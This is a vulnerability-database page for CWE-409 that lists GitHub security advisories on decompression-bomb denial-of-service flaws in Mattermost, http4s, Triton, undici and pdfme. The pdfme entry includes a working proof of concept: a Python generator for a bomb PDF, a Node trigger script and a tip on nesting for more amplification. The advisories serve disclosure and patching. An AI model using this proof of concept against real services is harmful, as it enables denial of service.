GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-409

Allowed

Improper Handling of Highly Compressed Data (Data Amplification)

Abstraction: Base · Status: Incomplete

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

223 vulnerabilities reference this CWE, most recent first.

GHSA-VHGH-G7X8-4RX8

Vulnerability from github – Published: 2026-03-26 18:31 – Updated: 2026-03-31 23:05
VLAI
Summary
Mattermost doesn't validate decompressed archive entry sizes during file extraction
Details

Mattermost versions 11.4.x <= 11.4.0, 11.3.x <= 11.3.1, 11.2.x <= 11.2.3, 10.11.x <= 10.11.11 fail to validate decompressed archive entry sizes during file extraction which allows authenticated users with file upload permissions to cause a denial of service via crafted zip archives containing highly compressed entries (zip bombs) that exhaust server memory. Mattermost Advisory ID: MMSA-2026-00598.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.4.0"
            },
            {
              "fixed": "11.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "11.4.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.3.0"
            },
            {
              "fixed": "11.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.2.0"
            },
            {
              "fixed": "11.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.11.0"
            },
            {
              "fixed": "10.11.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-20260105080200-d27a2195068d"
            },
            {
              "fixed": "8.0.0-20260217110922-b7d4a1f1f59b"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:05:48Z",
    "nvd_published_at": "2026-03-26T17:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.4.x \u003c= 11.4.0, 11.3.x \u003c= 11.3.1, 11.2.x \u003c= 11.2.3, 10.11.x \u003c= 10.11.11 fail to validate decompressed archive entry sizes during file extraction which allows authenticated users with file upload permissions to cause a denial of service via crafted zip archives containing highly compressed entries (zip bombs) that exhaust server memory. Mattermost Advisory ID: MMSA-2026-00598.",
  "id": "GHSA-vhgh-g7x8-4rx8",
  "modified": "2026-03-31T23:05:48Z",
  "published": "2026-03-26T18:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3114"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost doesn\u0027t validate decompressed archive entry sizes during file extraction"
}

GHSA-VMM3-XGCX-67HM

Vulnerability from github – Published: 2026-08-26 14:10 – Updated: 2026-08-26 14:10
VLAI
Summary
http4s has HTTP/2 Denial of Service with Ember Backend
Details

Summary

http4s 0.23.x and 1.0 servers running ember with http2 enabled are vulnerable to a denial of service attack using a HPACK bomb vulnerability recently disclosed as affecting other http2 servers.

Impact

Denial of Service: - Affects any http4s server running the ember backend with HTTP/2 enabled that is exposed to untrusted traffic. - Affects any http4s client running the ember backend with HTTP/2 enabled that can be directed to an untrusted server.

Details

The issue occurs in the Hpack wrapper. Ember concatenates the header and continuation frames before decoding all headers at once. When the code decodes the attack payload, the relatively small packets decode to a significantly larger amount of data which is returned as a single List which is then held in memory for further processing. With enough concurrent connections (~5 with a 2GB heap in testing) this leads to an OOM, eg:

java.lang.OutOfMemoryError: Java heap space
        at scala.collection.mutable.ListBuffer.scala$collection$mutable$ListBuffer$$freshFrom(ListBuffer.scala:129)
        at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:147)
        at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:40)
        at scala.collection.mutable.Growable.$plus$plus$eq(Growable.scala:69)
        at scala.collection.mutable.Growable.$plus$plus$eq$(Growable.scala:69)
        at scala.collection.mutable.AbstractBuffer.$plus$plus$eq(Buffer.scala:314)
        at org.http4s.Header$.org$http4s$Header$ToRaw$$anon$10$$_$$lessinit$greater$$anonfun$2(Header.scala:192)
        at org.http4s.Header$ToRaw$$anon$10$$Lambda/0x00001fe001239c50.apply(Unknown Source)
        at scala.collection.immutable.List.foreach(List.scala:334)
        at org.http4s.Header$ToRaw$$anon$10.<init>(Header.scala:192)
        at org.http4s.Header$ToRaw$.scalaCollectionSeqToRaw(Header.scala:195)
        at org.http4s.Headers$.apply(Headers.scala:220)
        at org.http4s.ember.core.h2.PseudoHeaders$.headersToRequestNoBody(PseudoHeaders.scala:95)
        at org.http4s.ember.core.h2.H2Stream.receiveHeaders$$anonfun$1$$anonfun$2$$anonfun$3$$anonfun$2(H2Stream.scala:248)
        at org.http4s.ember.core.h2.H2Stream$$Lambda/0x00001fe001511fd8.apply(Unknown Source)
        at cats.effect.IOFiber.runLoop(IOFiber.scala:429)
        at cats.effect.IOFiber.autoCedeR(IOFiber.scala:1460)
        at cats.effect.IOFiber.run(IOFiber.scala:129)
        at cats.effect.unsafe.WorkerThread.run(WorkerThread.scala:935)

Fix

The Hpack handling code has a configurable max header size parameter, but it does not include indexed headers in that accounting, allowing the attack to bypass the limit. There is not any configuration available in current http4s versions that can be enabled to prevent this attack short of disabling http2.

A fix has been tested locally that threads the maxHeaderSize setting from the server builder into the Hpack code. Using this, connections can be prematurely terminated once the decoded data size exceeds the maxHeaderSize that users can already configure.

Workarounds

If you can't upgrade immediately: - Disable HTTP/2 in Ember backends

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.34"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.0.0-M46"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-M1"
            },
            {
              "fixed": "1.0.0-M47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.34"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.0.0-M46"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-M1"
            },
            {
              "fixed": "1.0.0-M47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.34"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4s:http4s-ember-core_2.13"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T14:10:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nhttp4s 0.23.x and 1.0 servers running ember with http2 enabled are vulnerable to a denial of service attack using a HPACK bomb vulnerability recently disclosed as affecting other http2 servers.\n\n### Impact\n\nDenial of Service:\n- Affects any http4s server running the ember backend with HTTP/2 enabled that is exposed to untrusted traffic.\n- Affects any http4s client running the ember backend with HTTP/2 enabled that can be directed to an untrusted server.\n\n### Details\n\nThe issue occurs in the [Hpack wrapper](https://github.com/http4s/http4s/blob/c63fbff43dfe7e3bec25b789fd0a0027ec40ed62/ember-core/shared/src/main/scala/org/http4s/ember/core/h2/Hpack.scala#L54). Ember concatenates the header and continuation frames before decoding all headers at once. When the code decodes the attack payload, the relatively small packets decode to a significantly larger amount of data which is returned as a single List which is then held in memory for further processing. With enough concurrent connections (~5 with a 2GB heap in testing) this leads to an OOM, eg:\n\n```\njava.lang.OutOfMemoryError: Java heap space\n        at scala.collection.mutable.ListBuffer.scala$collection$mutable$ListBuffer$$freshFrom(ListBuffer.scala:129)\n        at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:147)\n        at scala.collection.mutable.ListBuffer.addAll(ListBuffer.scala:40)\n        at scala.collection.mutable.Growable.$plus$plus$eq(Growable.scala:69)\n        at scala.collection.mutable.Growable.$plus$plus$eq$(Growable.scala:69)\n        at scala.collection.mutable.AbstractBuffer.$plus$plus$eq(Buffer.scala:314)\n        at org.http4s.Header$.org$http4s$Header$ToRaw$$anon$10$$_$$lessinit$greater$$anonfun$2(Header.scala:192)\n        at org.http4s.Header$ToRaw$$anon$10$$Lambda/0x00001fe001239c50.apply(Unknown Source)\n        at scala.collection.immutable.List.foreach(List.scala:334)\n        at org.http4s.Header$ToRaw$$anon$10.\u003cinit\u003e(Header.scala:192)\n        at org.http4s.Header$ToRaw$.scalaCollectionSeqToRaw(Header.scala:195)\n        at org.http4s.Headers$.apply(Headers.scala:220)\n        at org.http4s.ember.core.h2.PseudoHeaders$.headersToRequestNoBody(PseudoHeaders.scala:95)\n        at org.http4s.ember.core.h2.H2Stream.receiveHeaders$$anonfun$1$$anonfun$2$$anonfun$3$$anonfun$2(H2Stream.scala:248)\n        at org.http4s.ember.core.h2.H2Stream$$Lambda/0x00001fe001511fd8.apply(Unknown Source)\n        at cats.effect.IOFiber.runLoop(IOFiber.scala:429)\n        at cats.effect.IOFiber.autoCedeR(IOFiber.scala:1460)\n        at cats.effect.IOFiber.run(IOFiber.scala:129)\n        at cats.effect.unsafe.WorkerThread.run(WorkerThread.scala:935)\n```\n\n### Fix\n  \nThe Hpack handling code has a configurable max header size parameter, but it does not include indexed headers in that accounting, allowing the attack to bypass the limit. There is not any configuration available in current http4s versions that can be enabled to prevent this attack short of disabling http2.\n\nA fix has been tested locally that threads the maxHeaderSize setting from the server builder into the Hpack code. Using this, connections can be prematurely terminated once the decoded data size exceeds the maxHeaderSize that users can already configure.\n\n### Workarounds\n\nIf you can\u0027t upgrade immediately:\n- Disable HTTP/2 in Ember backends",
  "id": "GHSA-vmm3-xgcx-67hm",
  "modified": "2026-08-26T14:10:59Z",
  "published": "2026-08-26T14:10:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/security/advisories/GHSA-vmm3-xgcx-67hm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/commit/6e8eccd64a6a74ab4811897881e95e0e1b3a818e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4s/http4s"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/releases/tag/v0.23.35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4s/http4s/releases/tag/v1.0.0-M47"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "http4s has HTTP/2 Denial of Service with Ember Backend"
}

GHSA-VQ94-FCWH-99V7

Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31
VLAI
Details

NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of highly compressed data. A successful exploit of this vulnerability might lead to denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T16:16:45Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of highly compressed data. A successful exploit of this vulnerability might lead to denial of service.",
  "id": "GHSA-vq94-fcwh-99v7",
  "modified": "2026-07-01T18:31:49Z",
  "published": "2026-07-01T18:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24264"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5848"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24264"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRM6-8VPV-QV8Q

Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41
VLAI
Summary
Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression
Details

Description

The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.

The vulnerability exists in the PerMessageDeflate.decompress() method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.

Impact

  • Remote denial of service against any Node.js application using undici's WebSocket client
  • A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more
  • Memory exhaustion occurs in native/external memory, bypassing V8 heap limits
  • No application-level mitigation is possible as decompression occurs before message delivery

Patches

Users should upgrade to fixed versions.

Workarounds

No workaround are possible.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:41:56Z",
    "nvd_published_at": "2026-03-12T21:16:23Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici\u0027s WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",
  "id": "GHSA-vrm6-8vpv-qv8q",
  "modified": "2026-03-13T20:41:56Z",
  "published": "2026-03-13T20:41:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3481206"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7692"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/Denial_of_Service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression"
}

GHSA-VRQM-GVQ7-RRWH

Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-20 20:44
VLAI
Summary
PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS
Details

Summary

The DecodeStream.ensureBuffer() method in @pdfme/pdf-lib doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

Details

The vulnerability exists in the DecodeStream class, which is the base class for all stream decoders including FlateStream (DEFLATE/zlib decompression).

Unbounded buffer growth in ensureBuffer()packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160:

protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}

The size *= 2 loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

Unconditional full decompression in decode()DecodeStream.ts:139-141:

decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}

FlateStream.readBlock() calls ensureBuffer() repeatedly during decompression — packages/pdf-lib/src/core/streams/FlateStream.ts:272-274:

if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}

And again at line 297-300:

if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}

Entry point via basePdfpackages/generator/src/helper.ts:42-43:

const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);

The basePdf parameter accepts base64-encoded data, a URL, or raw bytes. When PDFDocument.load() parses the PDF, it encounters FlateDecode streams and decompresses them through FlateStreamDecodeStream with no size limits.

The same code path exists in the UI package at packages/ui/src/helper.ts:292 and packages/ui/src/hooks.ts:67.

PoC

Step 1: Create a decompression bomb PDF

#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
   /Contents 4 0 R >>
endobj

4 0 obj
<< /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >>
stream
""" + compressed + b"""
endstream
endobj

xref
0 5
"""
# Write proper xref (simplified for PoC)
with open("bomb.pdf", "wb") as f:
    f.write(pdf)
    f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n")

print(f"Compressed size: {len(compressed)} bytes")
print(f"Decompressed size: {len(uncompressed)} bytes")
print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1")

Step 2: Trigger via @pdfme/generator

const { generate } = require('@pdfme/generator');
const fs = require('fs');

const bombPdf = fs.readFileSync('bomb.pdf');

// This will cause unbounded memory allocation during PDF parsing
generate({
  template: {
    basePdf: bombPdf,  // Attacker-controlled input
    schemas: [[]],
  },
  inputs: [{}],
  plugins: {},
}).catch(err => console.error('OOM or crash:', err.message));

Step 3: Observe memory exhaustion

# Monitor memory usage — the Node.js process will consume all available memory
# and either crash with a heap allocation failure or be OOM-killed
node --max-old-space-size=512 trigger.js
# Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory"

For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.

Impact

  • Denial of Service: Any application using @pdfme/generator or @pdfme/ui that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.
  • Server-side impact: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.
  • Client-side impact: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.
  • No authentication bypass needed: The attack only requires the ability to supply a basePdf value, which is the standard template input parameter — no elevated privileges are needed.

Recommended Fix

Add a maximum decoded size limit to ensureBuffer() in packages/pdf-lib/src/core/streams/DecodeStream.ts:

const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB

class DecodeStream implements StreamType {
  // ... existing fields ...

  protected ensureBuffer(requested: number) {
    const buffer = this.buffer;
    if (requested <= buffer.byteLength) {
      return buffer;
    }

    if (requested > MAX_DECODED_SIZE) {
      throw new Error(
        `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +
        `This may indicate a decompression bomb.`
      );
    }

    let size = this.minBufferLength;
    while (size < requested) {
      size *= 2;
    }

    // Cap the allocation even if the doubling overshoots
    if (size > MAX_DECODED_SIZE) {
      size = MAX_DECODED_SIZE;
    }

    const buffer2 = new Uint8Array(size);
    buffer2.set(buffer);
    return (this.buffer = buffer2);
  }
}

Optionally, expose the limit via PDFDocument.load() options so consumers can tune it:

// In LoadOptions interface:
interface LoadOptions {
  // ... existing options ...
  maxDecodedStreamSize?: number; // Default: 100 MB
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.5.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@pdfme/pdf-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:44:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.\n\n## Details\n\nThe vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).\n\n**Unbounded buffer growth in `ensureBuffer()`** \u2014 `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:\n\n```typescript\nprotected ensureBuffer(requested: number) {\n  const buffer = this.buffer;\n  if (requested \u003c= buffer.byteLength) {\n    return buffer;\n  }\n  let size = this.minBufferLength;\n  while (size \u003c requested) {\n    size *= 2;  // Doubles with no upper bound\n  }\n  const buffer2 = new Uint8Array(size);  // Allocates without limit\n  buffer2.set(buffer);\n  return (this.buffer = buffer2);\n}\n```\n\nThe `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.\n\n**Unconditional full decompression in `decode()`** \u2014 `DecodeStream.ts:139-141`:\n\n```typescript\ndecode(): Uint8Array {\n  while (!this.eof) this.readBlock();  // Fully decompresses before returning\n  return this.buffer.subarray(0, this.bufferLength);\n}\n```\n\n**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression \u2014 `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:\n\n```typescript\nif (pos + 1 \u003e= limit) {\n  buffer = this.ensureBuffer(pos + 1);\n  limit = buffer.length;\n}\n```\n\nAnd again at line 297-300:\n\n```typescript\nif (pos + len \u003e= limit) {\n  buffer = this.ensureBuffer(pos + len);\n  limit = buffer.length;\n}\n```\n\n**Entry point via `basePdf`** \u2014 `packages/generator/src/helper.ts:42-43`:\n\n```typescript\nconst willLoadPdf = await getB64BasePdf(basePdf);\nconst embedPdf = await PDFDocument.load(willLoadPdf);\n```\n\nThe `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` \u2192 `DecodeStream` with no size limits.\n\nThe same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.\n\n## PoC\n\n**Step 1: Create a decompression bomb PDF**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate a PDF decompression bomb for PoC.\"\"\"\nimport zlib\nimport struct\n\n# Create highly compressible data: 100MB of null bytes\n# compresses to ~100KB (~1000:1 ratio)\nuncompressed = b\u0027\\x00\u0027 * (100 * 1024 * 1024)  # 100 MB\ncompressed = zlib.compress(uncompressed, 9)\n\n# Minimal PDF structure with FlateDecode stream\npdf = b\"\"\"%PDF-1.4\n1 0 obj\n\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\nendobj\n\n2 0 obj\n\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\nendobj\n\n3 0 obj\n\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\n   /Contents 4 0 R \u003e\u003e\nendobj\n\n4 0 obj\n\u003c\u003c /Filter /FlateDecode /Length \"\"\" + str(len(compressed)).encode() + b\"\"\" \u003e\u003e\nstream\n\"\"\" + compressed + b\"\"\"\nendstream\nendobj\n\nxref\n0 5\n\"\"\"\n# Write proper xref (simplified for PoC)\nwith open(\"bomb.pdf\", \"wb\") as f:\n    f.write(pdf)\n    f.write(b\"trailer \u003c\u003c /Size 5 /Root 1 0 R \u003e\u003e\\nstartxref\\n0\\n%%EOF\\n\")\n\nprint(f\"Compressed size: {len(compressed)} bytes\")\nprint(f\"Decompressed size: {len(uncompressed)} bytes\")\nprint(f\"Ratio: {len(uncompressed)/len(compressed):.0f}:1\")\n```\n\n**Step 2: Trigger via @pdfme/generator**\n\n```javascript\nconst { generate } = require(\u0027@pdfme/generator\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst bombPdf = fs.readFileSync(\u0027bomb.pdf\u0027);\n\n// This will cause unbounded memory allocation during PDF parsing\ngenerate({\n  template: {\n    basePdf: bombPdf,  // Attacker-controlled input\n    schemas: [[]],\n  },\n  inputs: [{}],\n  plugins: {},\n}).catch(err =\u003e console.error(\u0027OOM or crash:\u0027, err.message));\n```\n\n**Step 3: Observe memory exhaustion**\n\n```bash\n# Monitor memory usage \u2014 the Node.js process will consume all available memory\n# and either crash with a heap allocation failure or be OOM-killed\nnode --max-old-space-size=512 trigger.js\n# Expected: \"FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory\"\n```\n\nFor higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.\n\n## Impact\n\n- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.\n- **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.\n- **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.\n- **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter \u2014 no elevated privileges are needed.\n\n## Recommended Fix\n\nAdd a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:\n\n```typescript\nconst MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB\n\nclass DecodeStream implements StreamType {\n  // ... existing fields ...\n\n  protected ensureBuffer(requested: number) {\n    const buffer = this.buffer;\n    if (requested \u003c= buffer.byteLength) {\n      return buffer;\n    }\n\n    if (requested \u003e MAX_DECODED_SIZE) {\n      throw new Error(\n        `Decoded stream size ${requested} exceeds maximum allowed size 